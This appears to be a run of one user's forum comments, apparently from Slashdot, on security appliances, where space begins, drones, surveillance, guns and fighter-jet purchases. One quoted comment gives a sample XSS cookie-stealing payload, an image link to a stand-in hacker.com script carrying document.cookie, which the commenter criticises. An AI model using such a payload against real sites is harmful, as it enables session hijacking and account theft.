Afford, yes. Implement? PROPERLY?

I kid you not, 90% of general purpose software developers are not sharp enough to "touch" security related code or systems without leaving GAPING holes because they totally don't understand or misunderstand simple things.

They can write an if/else or a while loop, but other more advanced things ... just beyond them. And even the moderately smart senior personnel will accidentally leave something in a "prototype" state and accidentally ship it because of deadlines.

This is the security/encryption equivalent of a Barracuda anti-spam appliance. Yes, any smart sharp sysadmin with sufficient time allocated to the task can implement brilliant near-perfect spam filtering using open source products. LOTS of sysadmins a) aren't that smart: it won't be configured nearly as well as a company needs, and it'll fail frequently or do strange things because they disagree on how it should work, and b) they won't have sufficient man weeks allocated to it, and remember, the less sharp the person is, the more time they'll need and the more problems there will be.

WAY BETTER for an SMB* to simply drop cash on an "appliance". It's almost impossible for a Barracuda to do worse than your average overworked sysadmin.

I'm not a shill for the latter, it's simply the device the SMB I work for uses. And our sysadmin's aren't dumb. They're just not brilliant and they are, of course, overworked.

(*) Small and Medium Busuiness

Perhaps. But 100km is a pretty arbitrary number. When I was growing up (and where I live everything was still in miles, especially anything written by or about the US space program), space was "100 miles" up. Funny how it's a neat round number like that.

http://ww2010.atmos.uiuc.edu/guides/mtr/prs/gifs/hght2.gif

He's above 99% of the atmosphere. That's good enough for me. "Edge" -- how do you define that? He's not IN space, certainly. I wouldn't compare it to a beach, a beach is only 10-100 feet wide. I'd make the argument that the "Edge" of space is a "beach" that's around 50km wide :)

Related question - what would make a good fundamental "minimum altitude" to say "space"?

50% odds of making one orbit (if you had sufficient tangential velocity at that altitude) without orbital decay? How much orbital decay? ALL orbits decay "a bit". 50% odds of making one orbit and being able to make a second orbit without touching the ground "underneath" your starting point?

And THEN on top of that, there's the fluctuating undulating atmosphere, that line is going to change day to day and year to year and place to place. Of course, if the tide rises and your boat is floating "closer to shore", you're still "on the ocean" :)

I'm not assaulting a kid and stealing his property while on an airplane.

Yes, these are exactly what the kid would claim the moment he started a fistfight over his frickin property, on an airplane.

And there you'd sit, trying to defend your actions after the plane had returned to the ground and both you and the kid kicked off the airplane and banned from flying that airline ever again.

No. Way.

> I know pilots that have cellphone conversations while landing a 737.

This wouldn't be the same pilots who missed a audible LORAN transmitter's approach turn signal in the Andes and killed 200 people crashing into a mountain?

Because of course, all pilots are "experts" at what they do and they never make poor choices killing hundreds of their clients.

> All the hacker has to do is embed a link or image into an email and send that email to the Yahoo account of the victim. The victim then logs in and clicks the link or views the images. ..snip..
>
> Simplified example:
Embedded image src in email: http://www.hacker.com/cookieparser.php?default=alert(document.cookie)

I hope I don't understand that correctly.

WHY is any browser expressing a cooking via javascript as a target of a link to a site that has nothing to do with the cookie?

WHY would any browser allow any method of sending cookies to sites OTHER than the ones the cookie identifies with?

They can't possibly expect every application and website developer in the world to write huge amounts of complicated "cleaning" code. That's idiotic. Why would they, in this day and age, introduce functionality in the specifictions that allow stuff like this?

If Yahoo can't keep with all the "functionality" that's available via javascript, you can guess how far behind the curve the application developers are at your small midwest bank.

These days - I could see someone mounting a smartphone on their craft and viewing the video that way. And your range with that would be ... unlimited assuming you also put the control signals through it as well ... although your call gets dropped you'll probably loose your bird.

I'm not certain this would work, I'm not sure what types of latency there are in a phone to phone network connection, nor how seamless the handoff is between towers.

But I'm certain lots of people would be willing to try this. And certainly if they did this, they might be dumb enough to fly near an airport, or worse put software on the bird that attempts to fly itself autonomously should the signal be lost.

> There is a difference between viewing the license plate of the vechicle in front of you and recording all license plates everywhere, building vast databases of the movement patterns of all vechicles.

But they're doing exactly that right now! It's just not as visible as a plane in the sky -- so no one cares.

LITERALLY, LAPD currently has this system and this database in place. It was in the papers *once*, 6 months ago.

NOBODY has said a WORD about it.

But airplanes in the sky? Freakout city.

> of my poorly educated gun nut friends

Heck - I have WELL educated friends who think this way.

Oddly enough these same people can't possibly put themselves in the shoes of the accidental victims, they're so paranoid about their personal right to use lethal force to defend themselves -- and of course they NEVER consider their own beliefs and demands as contributing to all the people who are shot accidentally or unjustifiably. THEY haven't personally done that (yet), so obviously it's not their damn problem. etc.

Ah, I should not have starting talking about "homes" as most American's begin imagining boogeymen with guns inside their houses.

I was mostly thinking of the concept as everyone seems to extends to their yards.

Because we're talking about drones. Obviously drones aren't inside your house. We're talking about your yards.

IE: it's not the people who have kicked in doors whom I'm concerned about, it's the innocent people walking up to the door to knock or the lost person passing through a backyard - way too many people who consider shooting them as "justified" just because they were scared or didn't recognize them.

Ah, good point. I do not support the idea of drones being allowed to fly through our houses. :)

When I referred to the "my home is my castle" phrase - I was particularly thinking of the entirety of one's property, as most people seem to include their yard in their definition of "home".

I was not trying to imply that people should be allowed to look inside your house or bedroom.

I really don't get why so many American's are up in arms about un-manned aircraft - there have been aircraft "looking down into" their backyards for 100 years now, who cares if it has a pilot IN IT or not. Tons and tons of police driving by your house LOOKING INTO your yard.

But almost no-one has raised near one third the stink about almost all their personal private conversations being intercepted and sifted through.

I've distinctly gotten the impression that American's have a heck of a lot stronger (almost zealous) "my home is my castle, my own little personal country where no one is allowed, if they're a tresspassn' I'm allowed to shoot em" fantasy.

> This whole purchase is what we need now

When is slashdot going to get an "edit post" feature like Reddit?

I meant to say "is for what we need now", not "is what we need now". I do not intend to imply that I approve of the F-35, it's a bit too expensive. Personally I'd rather go for the Superhornet. ( If anyone is listening, make sure you put "brimstone integration" on the list. )

For everyone who has "drone" and "unmanned" in their minds ... great idea for the future. I'm sure Boeing and LM and others will be on it as quick as possible.

But right now -- drones are slow dumb craft with EASILY subvertible suppressable communication channels, and this is how well they do in air combat:

http://www.youtube.com/watch?v=BypnhFI7HGY&t=33s

Drones as they exist right now are for monitoring and strikes in an area whose airspace you already completely control.

This whole purchase is what we need now (now in military terms meaning within the next 5-7 years), and there's no choosing planes that don't exist** at all.

(**) Yes yes, the F-35 just barely exists -- wait, no, that's not true, currently there are 63 of them in active use, although acceptance testing and staged development are still ongoing, and costs are still a little in dispute and could change... but the American's are committed to buying near 2000 of them. Whether or not some other country or three buys 50 or 100 of them isn't going to affect the final cost all that much...

> Want to make fighter jet more effective and orders of magnitude less expensive? Remove the pilot!

Great idea.

WHICH SPECIFIC MODEL are you recommending that can replace our existing F-18's within 5-7 years when our existing jets get too many hours on their frame's and wear out like a 30 year old truck?

What's that? You want to develop "something new"? What an original idea. I'm sure no-one else has thought of that. Get back to me in 10 years once YOU have developed it, right around the time that Boeing and LM and the europeans have their similar models ready for purchase.

In the meantime....

What's a "rape trigger"? ( Remember, sfw link or explanation. That's why I'm asking, I can't go read the one MAIN link that the entire story is about. )

Without a definition of this word, the entire article/post is ... hard to follow and not worth my time pondering over. Heck, most people won't even be able to guess at what "harm reduction" is, nor have any idea what the Ada Initiative is.

If you're going to use "technical terms", you need to define them. This being the internet, maybe, oh, I don't know, some kind of hyper text system?